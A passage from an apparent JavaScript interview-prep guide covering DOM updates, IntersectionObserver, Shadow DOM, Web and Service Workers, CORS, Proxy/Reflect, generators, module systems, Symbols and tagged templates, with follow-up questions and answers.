replaceChildren()and why is it better than clearinginnerHTML?” —element.replaceChildren(...newNodes)atomically removes all children and appends new ones in a single operation. Unlike settinginnerHTML = ''then appending, it triggers only one reflow. UnlikeinnerHTML, it works with DOM nodes directly (no serialization/parsing overhead) and is safe from XSS.
appendChild calls in a hot loop. Switching to a DocumentFragment build-then-swap reduced panel update time from 30ms to 4ms per frame — the difference between visible stutter and smooth dragging on design files with thousands of layers.Follow-up Q&A Chain:- Q: When is
innerHTMLactually faster thanDocumentFragment? - A: For bulk inserts of static markup — the HTML parser is native C++ and beats JS-driven
createElementloops. But for anything touching user content, you trade speed for an XSS hole. - Q: Does React’s virtual DOM eliminate the need for these patterns?
- A: React batches and minimizes DOM work, but the underlying operations are still constrained by the browser’s reflow cost. Knowing CRP is why you understand why React has
flushSync, why keys matter, and why list virtualization beats rendering 10k rows. - Q: How do you measure a reflow in DevTools?
- A: Chrome Performance tab records “Layout” events with their trigger. You can also read
performance.now()around a mutation to time the forced sync layout.
- MDN: DocumentFragment
- MDN: Element.replaceChildren
- Chrome DevTools: Analyze runtime performance
20. LocalStorage vs SessionStorage vs Cookies
20. LocalStorage vs SessionStorage vs Cookies
21. IntersectionObserver (Infinite Scroll & Lazy Loading)
21. IntersectionObserver (Infinite Scroll & Lazy Loading)
IntersectionObserver is an async, non-blocking API that tells you when an element enters or exits the viewport (or a specified container). It replaced the terrible old pattern of attaching a scroll event listener and calling getBoundingClientRect() on every scroll tick.Why it is better than scroll listeners:scroll+getBoundingClientRect()runs on the main thread, causes layout thrashing (reading geometry forces reflow), and fires 30-120 times per secondIntersectionObserverruns off the main thread, uses the compositor’s information, and batches callbacks efficiently. Zero layout thrashing.
rootMargin and threshold options? Senior candidates should mention that this is the foundation for lazy loading, infinite scroll, and scroll-triggered animations.Red flag answer: Using scroll + getBoundingClientRect() in 2024+ for any intersection detection. Also: not calling unobserve() after a one-time action (lazy load), causing the observer to track elements forever.Follow-up questions:- “How does
rootMarginwork and why is it important for lazy loading?” —rootMarginexpands or shrinks the root’s bounding box for intersection calculation.rootMargin: '200px'means the observer triggers 200px before the element enters the viewport. This gives images a head start on loading so they are ready by the time the user scrolls to them. Without it, users see a flash of empty space. - “What is the difference between
IntersectionObserverandResizeObserver?” —IntersectionObservertracks visibility (is an element in the viewport?).ResizeObservertracks size changes (did an element’s dimensions change?). UseResizeObserverfor responsive components that need to know their own size (e.g., chart libraries), container queries, or detecting when a sidebar is collapsed. - “Can
IntersectionObservertrack elements inside a scrollable container (not the viewport)?” — Yes. Set therootoption to the scrollable container element. By default,root: nulluses the viewport. Settingroot: document.querySelector('.scroll-container')tracks intersection relative to that container’s visible area.
rootMargin: '200px' on a lazy-load observer pre-fetches images 200px before they scroll into view.threshold: 0.5 (at least half visible) cut the CPU cost by roughly 10x and gave them more accurate view counts.Follow-up Q&A Chain:- Q: IO does not seem to fire for elements initially in the viewport. Why?
- A: It does — IO fires once for the initial state as soon as observation begins. If you are not seeing it, you are probably observing before the element has layout, or the element is
display: none(IO ignores non-rendered elements). - Q: How do you make
thresholdtrack continuous scroll progress, not just a binary in/out? - A: Pass an array of thresholds:
threshold: [0, 0.25, 0.5, 0.75, 1.0]or a dense rangeArray.from({length: 101}, (_, i) => i/100). The callback fires at each crossing with the currentintersectionRatio. - Q: What’s the main-thread cost of observing 10,000 elements?
- A: Near zero for observation itself — IO uses compositor info and batches callbacks. Cost shows up only inside your callback. Keep callback work minimal; defer heavy work with
requestIdleCallback.
- MDN: IntersectionObserver API
- web.dev: Lazy-loading images
- W3C: Intersection Observer specification
22. Shadow DOM & Web Components
22. Shadow DOM & Web Components
- React/Vue: CSS encapsulation is convention-based (CSS Modules, scoped styles). The DOM is shared.
- Shadow DOM: Browser-enforced encapsulation. Styles are truly isolated. But: forms, accessibility, and event delegation can be tricky across the shadow boundary.
- “How do events cross the Shadow DOM boundary?” — Events that originate inside Shadow DOM are retargeted: outside the shadow root,
event.targetpoints to the host element, not the internal element that triggered it. Most events bubble through the shadow boundary, but some (likefocus,blur) do not by default. You can enable it withcomposed: trueon custom events. - “What are the accessibility challenges with Shadow DOM?” — Screen readers handle Shadow DOM well in modern browsers, but there are edge cases: ARIA attributes on the host do not automatically connect to elements inside the shadow root. Labels and
forattributes do not cross the boundary. You need to usearia-labelledbywithslotted content or manage focus explicitly. - “How does CSS custom properties (
--var) interact with Shadow DOM?” — CSS custom properties (variables) are the ONE thing that penetrates the shadow boundary. This is by design — it allows theming. The host page sets--primary-color: blue, and the shadow component can usecolor: var(--primary-color). This is the recommended way to theme Web Components.
<slot> is how Web Components support children without breaking encapsulation.event.target gets rewritten to the host element (not the internal node) to preserve encapsulation.- Q: Why can’t I style
::beforeon a slotted element from outside? - A: Slotted elements stay in the light DOM but render in the shadow tree. From outside, you can only style them with selectors that target them as light-DOM children; pseudo-elements inside the shadow tree are unreachable without
::part()/::slotted()or CSS custom properties. - Q: What is the difference between
openandclosedshadow roots? - A: Open roots are reachable via
element.shadowRoot. Closed roots returnnull, giving stronger encapsulation — but also breaking dev tools and testing. Use closed sparingly. - Q: Do Web Components hydrate in SSR?
- A: Declarative Shadow DOM (now widely supported) lets the server emit
<template shadowrootmode="open">markup and the browser attaches the shadow root during parsing — no JS hydration needed for the initial render.
- MDN: Web Components
- web.dev: Declarative Shadow DOM
- Lit documentation: Components and templates
23. Web Workers
23. Web Workers
window, or any shared memory (by default). Communication is via postMessage, which uses the structured clone algorithm to copy data between threads. This means the data is serialized and deserialized — there is overhead proportional to data size.- Dedicated Worker (
new Worker()) — One worker per creator. Most common. - Shared Worker (
new SharedWorker()) — Shared across tabs/iframes on same origin. Good for centralized WebSocket connections or shared state. - Service Worker — Network proxy (see next question). Different lifecycle and purpose.
- Image processing (applying filters to photos — Figma uses this extensively)
- Parsing large JSON/CSV files without freezing the UI
- Crypto operations (hashing, encryption)
- WebAssembly execution (run C++/Rust code in a worker)
- Off-main-thread syntax highlighting (CodeMirror, Monaco editor)
postMessage — sending 50MB of data to a worker defeats the purpose if the copy takes longer than the computation.Follow-up questions:- “When would you NOT use a Web Worker?” — When the computation takes less than ~16ms (one frame). The overhead of serializing data, posting a message, and deserializing in the worker exceeds the computation time for small tasks. Also avoid for tasks that need DOM access, as you would need to serialize DOM state back and forth. The overhead crossover point is roughly 50ms of computation.
- “What is
SharedArrayBufferand how does it differ frompostMessage?” —SharedArrayBuffercreates shared memory accessible by both the main thread and workers simultaneously — no copying. You useAtomicsfor synchronization (compare-and-swap, wait/notify). It is disabled by default due to Spectre vulnerabilities and requiresCross-Origin-Isolationheaders (COOP/COEP). Use it for high-performance parallel computation (physics simulations, video processing). - “How would you architect a worker pool for a CPU-intensive web app?” — Create N workers (typically
navigator.hardwareConcurrencythreads). Maintain a task queue in the main thread. When a worker finishes and sends its result, dequeue the next task and send it to that worker. Libraries likeworkerpoolorcomlink(by the Chrome team) handle this with a nicer API. Comlink also usesProxyto make worker functions feel like regular async function calls.
- “Workers can access the DOM.” They cannot.
- Do not know about the serialization cost of
postMessageor Transferable objects. - Think Web Workers and Service Workers are the same thing.
- Cannot articulate when the overhead of creating a Worker outweighs the benefit (tasks under ~16ms).
- Clearly distinguish concurrency (event loop, single-threaded cooperative multitasking) from parallelism (Web Workers, true multi-threading with separate memory spaces).
- Know the three worker types (Dedicated, Shared, Service) and when to use each.
- Explain Transferable objects (
ArrayBuffer,OffscreenCanvas,MessagePort) and why transferring instead of cloning eliminates the serialization bottleneck for large data. - Mention
SharedArrayBuffer+Atomicsfor zero-copy shared memory (with the caveat of Cross-Origin Isolation requirements due to Spectre). - Can describe a real scenario where they moved computation off the main thread: “We moved image resizing to a Web Worker with
OffscreenCanvas. The main thread stayed responsive during batch uploads of 50 photos. Processing went from 45 seconds of frozen UI to 12 seconds with a progress bar.”
- “Can you use ES module
importsyntax inside a Web Worker?” — Yes, withnew Worker('worker.js', { type: 'module' }). The worker can use staticimportstatements. This is supported in modern browsers (Chrome 80+, Firefox 114+, Safari 15+). Withouttype: 'module', you must useimportScripts()which is synchronous and does not support ESM. - “How would you handle a Worker that crashes (throws an unhandled error)?” — Listen for the
errorevent on the Worker:worker.onerror = (e) => { restartWorker(); retryTask(); }. The worker terminates on unhandled errors. Your pool should detect this, create a replacement worker, and re-queue the failed task. Set a retry limit to avoid infinite crash loops. Log the error with full context for debugging. - “When would you choose
SharedArrayBufferoverpostMessagewith Transferable objects?” — UseSharedArrayBufferwhen multiple workers need simultaneous read access to the same large dataset (e.g., a 50MB document buffer for syntax highlighting, linting, and autocomplete workers). Use Transferable when ownership needs to move between threads (one writer at a time).SharedArrayBufferrequires Cross-Origin Isolation headers andAtomicsfor synchronization, making it significantly more complex.
ArrayBuffer, MessagePort, OffscreenCanvas, ImageBitmap. Zero-copy message passing across threads.postMessage, IndexedDB, and History state. Supports most JS types, but not functions, DOM nodes, or Error subclasses. Size of payload is proportional to copy time.- Q: How do you debug a Worker crashing on production only?
- A: Attach a global
onerrorhandler in the worker andpostMessagea serialized error back. In the main thread, wireworker.onerrorandworker.onmessageerrorto your telemetry pipeline. - Q: Can Web Workers make HTTP requests?
- A: Yes —
fetchis available, as areWebSocket,IndexedDB, andimportScripts. DOM APIs are forbidden, but most network and storage APIs are not. - Q: When would you pick
OffscreenCanvasover a canvas in the main thread? - A: Any time rendering is the bottleneck.
OffscreenCanvasis a Transferable canvas that runs entirely in the worker — the worker can draw at 60fps while the main thread handles input, and the result composites without a copy.
- MDN: Web Workers API
- MDN: OffscreenCanvas
- Comlink library documentation (Google Chrome Labs)
24. Service Workers (PWA)
24. Service Workers (PWA)
- Register — Main page calls
navigator.serviceWorker.register('/sw.js'). The browser downloads and parses the SW script. - Install — Fires once. This is where you pre-cache critical assets (app shell, fonts, CSS). If caching fails, installation fails and the SW is discarded.
- Wait — The new SW waits until ALL tabs using the old SW are closed. This prevents breaking active sessions. (You can skip waiting with
self.skipWaiting(), but be careful.) - Activate — Fires once the SW takes control. Clean up old caches here. Call
clients.claim()to take control of existing tabs immediately. - Fetch — For every network request, the
fetchevent fires and you decide the caching strategy.
- Cache First — Check cache, fallback to network. Best for static assets (CSS, JS, images).
- Network First — Try network, fallback to cache. Best for API data that should be fresh.
- Stale While Revalidate — Serve from cache immediately, update cache from network in background. Best for content that should load fast but stay fresh.
- Network Only — Never cache. For non-idempotent requests (POST, payments).
fetch handler does nothing for offline support.Follow-up questions:- “A user reports they are seeing stale content after you deployed a new version. How do you debug?” — The old service worker is still active (the “waiting” phase). The user has not closed all tabs, so the new SW has not activated. Check
chrome://serviceworker-internalsor Application tab in DevTools. Solutions: implement a “new version available” banner that callsregistration.waiting.postMessage({type: 'SKIP_WAITING'}), or use versioned cache names and clean up old caches in theactivateevent. - “What is the difference between
cache.addAll()andcache.put()?” —addAlltakes an array of URLs, fetches them all, and stores the responses. If ANY fetch fails, the entire operation fails (atomic).putstores a single request/response pair that you already have. UseaddAllfor precaching during install,putfor runtime caching in the fetch handler. - “How do push notifications work with Service Workers?” — The SW registers with a Push Service (via
pushManager.subscribe()), which returns an endpoint URL. Your server sends a push message to that endpoint. The Push Service delivers it to the browser, which wakes up the SW (even if the app is closed) and fires apushevent. The SW must show a notification (self.registration.showNotification()). Browsers require user permission and a visible notification for each push — silent background pushes are not allowed.
- Q: What happens if the
installevent fails? - A: The SW is discarded — the old one keeps running. This is why you should batch
cache.addAllfor atomicity; a single missing asset fails the whole install and users stay on the old version. - Q: How do you ship a breaking SW change safely?
- A: Version the cache names (
app-v2,app-v3), show a “new version” banner, and callskipWaitingonly after user consent. This avoids mid-session disruption while still getting updates out. - Q: Can a Service Worker modify request bodies?
- A: Yes — inside the
fetchhandler you can construct a newRequestwith a different body and callfetch(newRequest). Commonly used to add auth headers or route rewrites.
- MDN: Service Worker API
- web.dev: The Offline Cookbook
- Workbox documentation (Google)
25. CORS (Cross-Origin Resource Sharing)
25. CORS (Cross-Origin Resource Sharing)
evil.com could make authenticated requests to bank.com using the user’s cookies and steal data. The Same-Origin Policy prevents this. CORS is the controlled relaxation of that policy.How CORS actually works — the handshake:- Browser sends request with
Origin: https://mysite.comheader - Server responds with
Access-Control-Allow-Origin: https://mysite.com(or*) - If the header matches, the browser allows the response. If not, the browser BLOCKS the response (the request was still sent and processed by the server — CORS does not prevent the request, it prevents the response from reaching JS)
- Simple requests (no preflight):
GET/HEAD/POSTwith standard headers (Content-Typelimited totext/plain,multipart/form-data,application/x-www-form-urlencoded). Browser sends directly. - Preflighted requests:
PUT/DELETE/PATCH, custom headers,Content-Type: application/json. Browser sends anOPTIONSrequest first to check permissions, THEN sends the actual request if allowed.
Access-Control-Allow-Origin— Which origins can access (use specific origins in production, NOT*with credentials)Access-Control-Allow-Credentials: true— Allow cookies/auth headers. Cannot be used withAllow-Origin: *(must specify exact origin)Access-Control-Allow-Headers— Which custom headers are allowedAccess-Control-Expose-Headers— Which response headers JS can read (by default only “simple” headers are exposed)Access-Control-Max-Age— How long to cache the preflight result (saves OPTIONS requests)
credentials: 'include' in fetch, (2) Server responds with Access-Control-Allow-Credentials: true, (3) Allow-Origin MUST be a specific origin (not *). Missing any one of these three causes the request to fail.What interviewers are really testing: Do you understand that CORS is a browser-only protection? (Curl/Postman/servers do not enforce CORS.) Can you debug a CORS error by looking at the network tab? Do you know the preflight conditions?Red flag answer: “Access-Control-Allow-Origin: * fixes all CORS issues.” This does not work with credentials and is a security risk in production. Also: thinking CORS protects the server — it protects the user’s browser.Follow-up questions:- “Your API call from
localhost:3000tolocalhost:8080fails with a CORS error. They are both localhost. Why?” — Different ports = different origins. Origin = protocol + domain + port.http://localhost:3000andhttp://localhost:8080are different origins. Fix: configure the API server to allowhttp://localhost:3000inAccess-Control-Allow-Origin, or use a dev proxy (Vite, webpack-dev-server) to make requests appear same-origin. - “How do you avoid preflight requests for performance?” — Use “simple” request criteria:
GET/POSTwith standardContent-Type. Instead ofapplication/json, sendtext/plainand parse on the server (hacky but eliminates preflight). Better: setAccess-Control-Max-Ageto 86400 (24h) so the browser caches the preflight result. Or use a same-origin proxy/API gateway. - “A CORS error says ‘No Access-Control-Allow-Origin header present’ but you added it to the server. What is wrong?” — Common causes: (1) The server is crashing before sending headers (500 error, but browser reports CORS). (2) A reverse proxy (Nginx, CloudFront) is stripping the header. (3) The server only handles
GETbut the browser is sending anOPTIONSpreflight that returns 405. (4) The error handler path does not set CORS headers. Always check the Network tab for the actual HTTP status before debugging CORS headers.
OPTIONS request the browser sends before a “non-simple” cross-origin request to verify the server will accept it. Cached via Access-Control-Max-Age.Access-Control-Allow-Credentials on cached OPTIONS responses. The fix was to vary the cache key on Origin and whitelist the required response headers in the CDN config — a classic “CORS headers are correct but getting stripped in transit” bug.Follow-up Q&A Chain:- Q: Why does the browser send the request anyway even if the response is blocked?
- A: CORS only gates the response, not the request. The server sees the request regardless, which is why CORS is not a defense against CSRF — you still need CSRF tokens or SameSite cookies.
- Q: How do you debug “CORS error” when the real issue is a server 500?
- A: Check the Network tab for the actual HTTP status. A 500 that does not carry CORS headers shows up as a CORS error in the console because the preflight or response failed to pass the CORS check. Fix the 500, the CORS error disappears.
- Q: Can CORS leak data via timing?
- A: In theory, yes — request timing is observable even if the body is blocked. This is why modern browsers ship with
Cross-Origin-Resource-PolicyandCross-Origin-Embedder-Policyheaders as additional defense-in-depth.
- MDN: Cross-Origin Resource Sharing (CORS)
- Fetch Standard (WHATWG): CORS protocol section
- web.dev: Cross-Origin Isolation Overview
4. ES6+ Modern Features
26. Proxy & Reflect
26. Proxy & Reflect
Proxy lets you intercept and redefine fundamental operations on objects (get, set, delete, function calls, construction). It is the most powerful metaprogramming tool in JavaScript and the foundation of Vue 3’s reactivity system, MobX, and many validation libraries.How it works: You create a Proxy wrapping a target object and provide a handler with “traps” — functions that intercept operations. Reflect is the companion API that lets you perform the default behavior inside a trap.Reflect exists: Every trap has a corresponding Reflect method. Instead of target[prop] (which can trigger getters incorrectly), Reflect.get(target, prop, receiver) correctly handles the receiver (important for prototype chains and class inheritance). Always use Reflect inside traps.Real-world uses:- Vue 3 Reactivity —
reactive()wraps objects in Proxies. Thegettrap tracks which components depend on which properties. Thesettrap triggers re-renders. This replaced Vue 2’sObject.definePropertyapproach (which could not detect new property additions or array index changes). - Validation layers — Enforce schema constraints on data objects without separate validation calls.
- API mocking — Intercept property access and return mock data during testing.
- Auto-logging/observability — Log every property access and mutation for debugging.
Object.defineProperty.” Proxy is more powerful — it can intercept in operator, delete, function calls, new, and works on the whole object (not individual properties). defineProperty requires you to know property names in advance.Follow-up questions:- “What are the performance implications of Proxy?” — Proxy operations are 2-5x slower than direct property access because every operation goes through the trap handler. This is fine for reactive state (accessed infrequently per frame) but bad for hot loops processing millions of items. Vue 3’s
shallowReactive()andmarkRaw()exist specifically to opt out of proxy overhead for large data structures. - “How does Vue 3’s Proxy-based reactivity differ from Vue 2’s
Object.defineProperty?” — Vue 2 walked every property at initialization and defined getters/setters. It could not detect: new property additions (Vue.set()workaround), array index changes, orlengthchanges. Vue 3’s Proxy intercepts ALL operations dynamically — no initialization walk, no workarounds. The downside: Proxy is not supported in IE11. - “Can you create a revocable Proxy? When would you use it?” —
Proxy.revocable(target, handler)returns{ proxy, revoke }. After callingrevoke(), any operation on the proxy throwsTypeError. Use case: granting temporary access to an object (e.g., a third-party plugin gets a revocable proxy to your API that you revoke when the plugin unloads, preventing lingering references).
- “Proxy is like
Object.defineProperty.” Proxy is strictly more powerful — it interceptsin,delete,new,typeof, and works on the entire object without knowing property names in advance. - Cannot explain why
Reflectis needed inside traps (incorrectreceiverhandling on prototype chains). - Have no real use case beyond the basic logging/validation example.
- Immediately connect Proxy to Vue 3’s reactivity system and explain why it replaced
Object.defineProperty(handles new properties, array mutations, anddeletewithout workarounds). - Know the performance implications: 2-5x slower than direct access, which is why Vue 3 provides
shallowReactive()andmarkRaw(). - Explain Proxy invariants: the engine enforces consistency rules (e.g.,
gettrap cannot lie about non-configurable, non-writable properties). Violating invariants throwsTypeError. - Mention
Proxy.revocable()for security patterns (temporary access grants, sandboxing third-party code). - Can describe the
applytrap for function proxying (decorator pattern, automatic timing/logging).
- “How would you use Proxy to implement a type-checked object that throws on invalid assignments?” — Create a schema definition (e.g.,
{ name: 'string', age: 'number' }), then use thesettrap to validate the type of the value against the schema before allowing assignment.Reflect.setperforms the actual write if validation passes. This pattern is the foundation of runtime validation libraries likezod(thoughzoddoes not use Proxy internally for performance reasons). - “What happens if you freeze a Proxy target? Do the traps still fire?” — Yes, traps still fire on the Proxy, but the invariant checks become very strict. The
settrap can fire but must returnfalse(or V8 will throwTypeErrorbecause the target property is non-writable). Thegettrap must return the actual value for non-configurable properties. Freezing the target effectively makes the Proxy read-only, but you still get the notification (useful for tracking reads on config objects). - “How does Comlink use Proxy to make Web Worker communication feel like regular function calls?” — Comlink (by the Chrome team) wraps a Worker in a Proxy. When you access a property or call a method on the proxy, the
getandapplytraps serialize the call into apostMessage, send it to the worker, and return a promise for the result. The worker side usesComlink.expose(obj)to make its methods callable. The result is thatawait workerProxy.processData(input)looks like a normal async function call, hiding all thepostMessageplumbing.
[[Get]], [[Set]], [[HasProperty]], etc.).get trap cannot report a different value for a non-configurable, non-writable property than what the target actually has. Violating invariants throws TypeError.Object.defineProperty, which required pre-declaring every property. Proxy let MobX 6 track dynamically added properties — state.newField = 1 now triggers reactivity without a makeObservable migration. This ergonomic win eliminated a whole class of onboarding questions.Follow-up Q&A Chain:- Q: Why can’t you proxy a primitive?
- A: Proxies only wrap objects and functions. Primitives are not references, so there is no internal method table to intercept. You can wrap them in a Boxed object, but at that point direct getters/setters are simpler.
- Q: What operation is not interceptable?
- A: Identity comparison (
===) andtypeofare not traps. Proxies are transparent — they pose as their target for identity checks. This is important for libraries like MobX that needproxyObj === originalObjto fail butproxyObjto behave likeoriginalObj. - Q: When would you avoid Proxy in hot code paths?
- A: Tight loops over millions of items, or anything in a render hot path, where the 2-5x overhead dominates. Vue 3’s
markRawis the escape hatch for exactly this reason.
27. Generators (`function*`)
27. Generators (`function*`)
function*) does not execute immediately when called. Instead, it returns a Generator object with a next() method. Each call to next() runs until the next yield, returning { value, done }.yield*:- Redux-Saga — Uses generators for managing side effects.
yield call(fetch, url)pauses the saga until the fetch completes. The saga runner handles the promise. - Lazy evaluation — Process huge datasets without loading everything into memory.
for (const row of parseCSV(hugeFile))reads one row at a time. - Cancellable async flows — Unlike promises, you can stop a generator mid-execution by simply not calling
next(). - Async iterators —
async function*combines generators with async/await for streaming data.
- “How does
generator.throw(error)work and when is it useful?” — Callingthrow()on a generator injects an error at the point where it is currently paused (at theyield). If the generator has a try/catch around the yield, it can handle it. Redux-Saga uses this: if a side effect fails, the runnerthrow()s the error into the saga, which can handle it with try/catch. This is how sagas achieve sync-looking error handling for async operations. - “What is the memory advantage of generators over arrays for large datasets?” — A generator computes values on demand (lazy). Processing 10 million records with a generator: memory usage = O(1) (one record at a time). With an array: O(n) (all records in memory). For ETL pipelines, log processing, or CSV parsing, this is the difference between your Node.js process using 50MB vs 5GB.
- “How do async generators work with
for await...of?” — Anasync function*canyieldpromises.for await (const item of asyncGen())awaits each yielded value. This is ideal for streaming APIs:for await (const chunk of readStream())processes data as it arrives without buffering the entire response. Node.js readable streams implement the async iterable protocol.
.next() with resolved promise values. Before async/await existed, libraries like co and Redux-Saga were generator runners.for await...of over an async generator, the team would have had to hand-roll a streaming state machine.Follow-up Q&A Chain:- Q: Is
async function*the same as returning an async iterable? - A: Functionally equivalent, but syntactically simpler. The generator function automatically implements the
[Symbol.asyncIterator]protocol and handles thenext/throw/returncontract. - Q: Can a generator be reused after it finishes?
- A: No — once
done: true, the generator is exhausted. Call the generator function again to get a fresh iterator. - Q: Why does Redux-Saga prefer generators over async/await?
- A: Generators give Saga control over each yield point: the runner can inject mocked results in tests, cancel on route change, and serialize the execution log for replay. Async/await hands control to the engine, so the runner loses those hooks.
- MDN: function*
- MDN: for await…of
- Redux-Saga documentation: Beginner Tutorial
28. Modules (ESM vs CommonJS)
28. Modules (ESM vs CommonJS)
require()is synchronous — blocks until the file is loaded and executedmodule.exports/exportsfor exporting- Dynamic — you can
require()inside conditionals, loops, or computed paths - Evaluated at runtime — exports are live bindings to the
module.exportsobject - Circular dependencies: partially resolved (you get whatever has been exported so far)
import/exportare static declarations — they must be at the top level- Parsed and linked before execution (the engine builds a dependency graph first)
- Enables tree shaking (dead code elimination) because the bundler knows at build time which exports are used
- Supports
top-level await(module evaluation can be async) - Circular dependencies: handled via “live bindings” (imports are references that update when the export changes)
- Always strict mode
| Feature | CommonJS | ES Modules |
|---|---|---|
| Loading | Synchronous | Asynchronous |
| Analysis | Runtime (dynamic) | Static (build-time) |
| Tree Shaking | Difficult/impossible | Fully supported |
Top-level await | Not supported | Supported |
this at top level | module.exports | undefined |
| File extensions | .js (default in Node) | .mjs or "type": "module" in package.json |
| Browser support | Needs bundler | Native (<script type="module">) |
import and require are the same thing.” They have fundamentally different semantics — import is static and hoisted, require is dynamic and synchronous. Mixing them incorrectly causes bugs in Node.js.Follow-up questions:- “Why can’t bundlers tree-shake CommonJS?” — Tree shaking requires knowing at build time which exports are used. CJS exports are a plain object assigned at runtime — the bundler cannot statically determine which properties will be accessed.
require()can be called conditionally or with computed paths. ESM’simport { x } from 'y'is a static declaration the bundler can analyze without executing code. - “How do you handle the CJS/ESM interop in Node.js?” — ESM can
importCJS modules (Node wraps the CJS export as the default export). CJS cannotrequire()ESM modules synchronously (must useimport()async). This creates friction in library authoring. The common solution: publish dual packages with"exports"field in package.json specifying CJS and ESM entry points. Tools liketsuporunbuildautomate this. - “What is
import.metaand what can you do with it?” —import.metaprovides metadata about the current module.import.meta.urlgives the module’s file URL (equivalent to CJS__filename). In Vite/bundlers,import.meta.envprovides environment variables.import.meta.hotis used for Hot Module Replacement. It is the ESM replacement for CJS-specific globals like__dirnameand__filename.
- “
importandrequireare the same thing.” They have fundamentally different semantics. - Cannot explain why ESM enables tree shaking but CJS does not.
- Have never dealt with CJS/ESM interop issues in Node.js.
- Do not know that
import()(dynamic) is different fromimport(static).
- Explain that ESM’s static declarations allow build-time dependency graph analysis, enabling tree shaking and dead code elimination, which is impossible with CJS’s runtime
require(). - Know the CJS/ESM interop pain: ESM can
importCJS (wrapped as default export), but CJS cannot synchronouslyrequire()ESM (must useimport()async). - Understand the dual package problem and how the
"exports"field with"import"and"require"conditions solves it. - Can explain live bindings: ESM exports are references that update when the exporting module changes them, while CJS exports are a snapshot of the
module.exportsobject atrequire()time. - Know that
import.meta.resolve()enables programmatic module resolution without loading the module.
- “Your library needs to support both CJS and ESM consumers. How do you set up the package.json?” — Use the
"exports"field with conditional exports:"exports": { ".": { "import": "./dist/esm/index.js", "require": "./dist/cjs/index.cjs" }, "./subpath": { "import": "./dist/esm/subpath.js", "require": "./dist/cjs/subpath.cjs" } }. Add"type": "module"to make.jsfiles ESM by default, and use.cjsextension for CJS files. Build withtsuporunbuildwhich handle dual-format output automatically. - “What is the difference between
import()(dynamic import) and top-levelawait? Can they be combined?” —import()returns a promise for the module namespace object. Top-levelawaitlets youawaitat the module’s top level, pausing the module’s evaluation. Combined:const { default: config } = await import('./config.json', { with: { type: 'json' } })— the module that does this will block any module that imports it until the dynamic import resolves. Use sparingly for initialization that must complete before the module is usable. - “How does import map (
<script type='importmap'>) change the bundling story?” — Import maps let you map bare specifiers (likeimport React from 'react') to URLs directly in the browser, without a bundler.{ "imports": { "react": "https://esm.sh/react@18" } }. This enables unbundled development (each module is a separate HTTP/2 request). Viable for development and small apps, but production apps still benefit from bundling for code splitting, tree shaking, and reducing request count.
require() is essentially opaque to bundlers.- Q: Can I use
importin a.jsfile in Node.js? - A: Only if
package.jsonhas"type": "module", or the file uses the.mjsextension. Otherwise Node treats.jsas CJS and import syntax throws a SyntaxError. - Q: Why does Node.js not let me synchronously
require()an ESM module? - A: ESM modules can use top-level await, so their evaluation is inherently async.
require()is synchronous — there is no safe way to bridge. Use dynamicawait import('./esm-module.js')instead. - Q: What is
"type": "module"vs.mjsextension? - A: Both tell Node to parse the file as ESM.
"type": "module"is package-wide (all.jsfiles become ESM)..mjsis per-file. Most libraries use"type": "module"and.cjsfor the few CJS holdouts.
- Node.js docs: ECMAScript Modules
- MDN: import.meta
- web.dev: Import maps
29. Symbol Type
29. Symbol Type
Symbol is a primitive type (like string or number) that guarantees uniqueness. Every Symbol() call creates a new, unique value — even with the same description. This makes it ideal for property keys that should never collide with user-defined properties.Symbol.iterator— Makes objects iterable (for...of)Symbol.asyncIterator— Makes objects async-iterable (for await...of)Symbol.hasInstance— CustomizesinstanceofbehaviorSymbol.toPrimitive— Customizes type coercion (+obj,${obj})Symbol.toStringTag— CustomizesObject.prototype.toString.call()outputSymbol.species— Controls which constructor is used for derived objects (e.g.,Array.prototype.mapcreates a new array usingthis.constructor[Symbol.species])
Symbol.for() — the global registry:Object.getOwnPropertySymbols() exposes them. Use #privateField for true privacy.Follow-up questions:- “Why are Symbols useful for library authors?” — A library can add metadata to user objects using Symbol keys without risking collision with the user’s own properties. React uses
Symbol.for('react.element')to tag React elements, ensuring they cannot be confused with plain objects even if a user creates an object with$$typeofas a string key. - “How do Symbols interact with JSON serialization?” — Symbol-keyed properties are completely invisible to
JSON.stringify(). This is useful for attaching metadata that should not be serialized (internal state, computed caches, framework markers). If you need to serialize symbol data, implement a customtoJSON()method. - “When would you use
Symbol.for()vs regularSymbol()?” — UseSymbol.for()when you need the same symbol across different modules, iframes, or workers (e.g., a shared protocol between independently loaded scripts). Use regularSymbol()when you want guaranteed uniqueness within your code (most cases).Symbol.for()keys can collide if two libraries use the same string, so use namespaced strings:Symbol.for('mylib.internal.type').
[Symbol.iterator] on an object makes it work with for...of.$$typeof: Symbol.for('react.element'). When ReactDOM receives an object to render, it checks this symbol to distinguish a real React element from a serialized/injected object — a defense against XSS attacks that pass crafted JSON into props.Follow-up Q&A Chain:- Q: Can I put a Symbol in JSON?
- A: No — symbol-keyed properties and Symbol values are ignored by
JSON.stringify. If you need to serialize, convert viaSymbol.keyFor(sym)(only works for registry symbols). - Q: Are Symbols garbage collected?
- A:
Symbol()yes, once no references remain.Symbol.for(key)symbols are held by the global registry and live forever — a subtle memory trap if you dynamically generate registry keys. - Q: How do I iterate symbol keys?
- A:
Object.getOwnPropertySymbols(obj)returns them.Reflect.ownKeys(obj)returns both string and symbol keys in one call.
- MDN: Symbol
- MDN: Well-known Symbols
- TC39: ECMAScript Symbol spec (tc39.es/ecma262)
30. Tagged Templates
30. Tagged Templates
styled-components—styled.div`color: ${props => props.primary ? 'blue' : 'gray'};`— The tag function creates a React component with scoped CSS. Interpolations can be functions that receive props.- GraphQL
gql—gql`query { user { name } }`— Parses the template into a GraphQL AST at build time. Enables syntax highlighting and static analysis in editors. html(lit-html) —html`<p>${userInput}</p>`— Safely renders HTML with automatic XSS escaping of interpolated values.- SQL template tags —
sql`SELECT * FROM users WHERE id = ${userId}`— Automatically parameterizes values to prevent SQL injection.
raw property: The tag function’s first argument (strings) has a .raw property containing the strings without escape processing. String.raw is a built-in tag that returns the raw string: String.raw`\n` returns the two characters \n, not a newline.What interviewers are really testing: Do you understand the mechanism (static strings vs dynamic values separation) and why it matters for security (auto-escaping)? Can you name real libraries that use this pattern?Red flag answer: “Tagged templates are just a fancy way to concatenate strings.” The entire point is that the tag function receives static parts and dynamic parts SEPARATELY, enabling sanitization, compilation, and type-safe interpolation that simple concatenation cannot achieve.Follow-up questions:- “How does
